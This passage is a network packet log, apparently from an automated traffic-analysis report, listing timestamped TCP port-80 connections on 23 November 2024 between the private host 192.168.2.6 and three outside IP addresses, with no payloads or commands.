Nov 23, 2024 13:28:27.325129986 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.328314066 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.328433990 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.328476906 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.331546068 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.346601963 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.346649885 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.346688032 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.348164082 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.348207951 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.348246098 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.350581884 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.350650072 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.350651979 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.353826046 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.353866100 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.426223040 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.426261902 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.426299095 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.474740028 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.474814892 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.474854946 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.475708008 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.475810051 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.475846052 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.479047060 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.479123116 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.479178905 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.482322931 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.482409000 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.482458115 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.485588074 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.485673904 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.485743999 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.488903999 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.489020109 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.489059925 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.492194891 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.492264032 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.492496014 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.495433092 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.537317991 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.537368059 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.537427902 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.539051056 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.539084911 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.593286037 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.593353033 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.593391895 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.594233990 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.594259024 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.594299078 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.597524881 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.597645998 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.597687960 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.599869967 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.599961996 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.600003004 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.603157997 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.603216887 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.603257895 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.634053946 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.634340048 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.634387016 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.635716915 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.663165092 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.663265944 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.663450003 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.664908886 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.664949894 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.677984953 CET	80	49771	185.215.113.43	192.168.2.6
Nov 23, 2024 13:28:27.678210974 CET	49771	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:27.681245089 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:27.717106104 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.717240095 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.717392921 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.718831062 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.767663956 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.804362059 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:27.804513931 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:27.804786921 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:27.844985008 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.845144987 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:27.845371962 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:27.926286936 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:28.561078072 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.561124086 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.561177969 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:28.562592983 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.562716007 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.562797070 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:28.645853996 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.645910978 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.645972013 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:28.647521973 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.647612095 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.647659063 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:28.656765938 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.656886101 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.656934977 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:28.658262014 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.705013037 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:28.730941057 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.731101990 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.731174946 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:28.732584953 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.732819080 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.732870102 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:28.735867977 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.735956907 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.736004114 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:28.779045105 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.779078007 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.779185057 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:28.779215097 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.779248953 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.779284000 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.779337883 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.779388905 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:28.781841040 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:28.818339109 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.818506956 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.818574905 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:28.819899082 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.820018053 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.820190907 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:28.823208094 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.856211901 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.856250048 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.856374979 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:28.857532978 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.857585907 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:28.857647896 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.860347986 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.860399008 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:28.860853910 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.860904932 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.860948086 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:28.864217043 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.908145905 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:28.947560072 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.947694063 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.947750092 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:28.981719017 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.981904984 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.981965065 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:28.984589100 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.984643936 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.984791040 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:28.986259937 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.986392975 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.986440897 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:28.989543915 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.990561008 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.990611076 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:28.990655899 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.993765116 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:28.993813038 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.003523111 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.003648043 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.003690004 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.005126953 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.048819065 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.069737911 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.069768906 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.069828987 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.089587927 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.089735031 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.089947939 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.091345072 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.091479063 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.091530085 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.100524902 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.100671053 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.100723028 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.101839066 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.142520905 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.174806118 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.174940109 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.175035000 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.176440954 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.176606894 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.176656961 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.193205118 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.193234921 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.193279028 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.196845055 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.196881056 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.196932077 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.196933031 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.197007895 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.197042942 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.197062016 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.197077990 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.197089911 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.197112083 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.197138071 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.197165012 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.197165012 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.197200060 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.197231054 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.197233915 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.197257042 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.197268963 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.197278976 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.197313070 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.216491938 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.216547966 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.216593981 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.218219042 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.259037018 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.259074926 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.259095907 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.260628939 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.260684013 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.272315979 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.272456884 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.272500992 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.273951054 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.314392090 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.320343018 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.320374012 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.320408106 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.320445061 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.385855913 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.385937929 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.385996103 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.386645079 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.386715889 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.386857033 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.389909983 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.397026062 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.397061110 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.397105932 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.397105932 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.399559975 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.399620056 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.399646997 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.399702072 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.402270079 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.402319908 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.402381897 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.408082962 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.408166885 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.408220053 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.408277988 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.416644096 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.416707993 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.416796923 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.416851997 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.425157070 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.425209045 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.425223112 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.425280094 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.433716059 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.433775902 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.433888912 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.433943987 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.442595959 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.442650080 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.442655087 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.442704916 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.450803995 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.450860977 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.450937986 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.450995922 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.455053091 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.459345102 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.459425926 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.459427118 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.459479094 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.467269897 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.467360973 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.467381954 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.467431068 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.469248056 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.469300032 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.469346046 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.475182056 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.475250006 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.475341082 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.475398064 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.479609013 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.479660034 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.479703903 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.517818928 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.518012047 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.554507971 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.554549932 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.554621935 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.556051016 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.556113005 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.556154966 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.565676928 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.565730095 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.565776110 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.567305088 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:29.598650932 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.598691940 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.598727942 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.598768950 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.601094961 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.601175070 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.601243973 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.601304054 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.606041908 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.606101990 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.606187105 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.606236935 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.611129045 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.611186028 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.611223936 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.611277103 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:29.611299992 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.615950108 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.616009951 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.616067886 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.616121054 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.620793104 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.620852947 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.620928049 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.620979071 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.625746965 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.625803947 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.625871897 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.625927925 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.630659103 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.630717039 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.630765915 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.630829096 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.635607004 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.635663033 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.635736942 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.635792017 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.640489101 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.640547037 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.640619040 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.640672922 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:29.645440102 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:29.645499945 CET	49777	80	192.168.2.6	185.215.113.16
